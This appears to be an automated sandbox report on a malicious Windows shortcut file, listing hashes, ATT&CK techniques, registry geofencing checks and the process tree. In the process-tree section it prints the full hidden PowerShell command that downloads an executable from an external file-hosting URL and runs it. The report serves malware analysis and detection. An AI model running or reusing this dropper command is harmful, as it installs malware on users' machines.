e1bba2c6579a15296b64f6553ac38f7209cab0c285544031895f52b7b6d59c29

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
13-06-2024 06:45

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General

Target

a443ed9657339d1de8f8a79497d2e31c_JaffaCakes118.lnk
Size

1KB
MD5

a443ed9657339d1de8f8a79497d2e31c
SHA1

e4a3d66328b943aba922afe1bdcbe12893c59b36
SHA256

e1bba2c6579a15296b64f6553ac38f7209cab0c285544031895f52b7b6d59c29
SHA512

f9ef05e16c60ba924f894d7209c0f1c6f9738c9d37c7ea543668d41c3186cd8392e5e7e851b8330b4ae9073302efae2904809aa388bbf0197a10213e4297f5da

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://download1473.mediafire.com/y0vn3iqm53ug/69bu5u5l1643837/server.exe

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	1800	powershell.exe
5	1800	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1800	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1800	powershell.exe
1800	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1800	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3336 wrote to memory of 1800	3336	cmd.exe	82
PID 3336 wrote to memory of 1800	3336	cmd.exe	82

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\a443ed9657339d1de8f8a79497d2e31c_JaffaCakes118.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://download1473.mediafire.com/y0vn3iqm53ug/69bu5u5l1643837/server.exe','C:\Users\Admin\AppData\Roaming\TETUDO.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\TETUDO.exe'
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_04panuis.cvg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1800-2-0x00007FFE40983000-0x00007FFE40985000-memory.dmp

Filesize
8KB

Download
memory/1800-12-0x0000011320A90000-0x0000011320AB2000-memory.dmp

Filesize
136KB

Download
memory/1800-13-0x00007FFE40980000-0x00007FFE41441000-memory.dmp

Filesize
10.8MB

Download
memory/1800-14-0x00007FFE40980000-0x00007FFE41441000-memory.dmp

Filesize
10.8MB

Download
memory/1800-15-0x00007FFE40980000-0x00007FFE41441000-memory.dmp

Filesize
10.8MB

Download
memory/1800-16-0x00007FFE40980000-0x00007FFE41441000-memory.dmp

Filesize
10.8MB

Download
memory/1800-19-0x0000011320700000-0x000001132091C000-memory.dmp

Filesize
2.1MB

Download
memory/1800-20-0x00007FFE40980000-0x00007FFE41441000-memory.dmp

Filesize
10.8MB

Download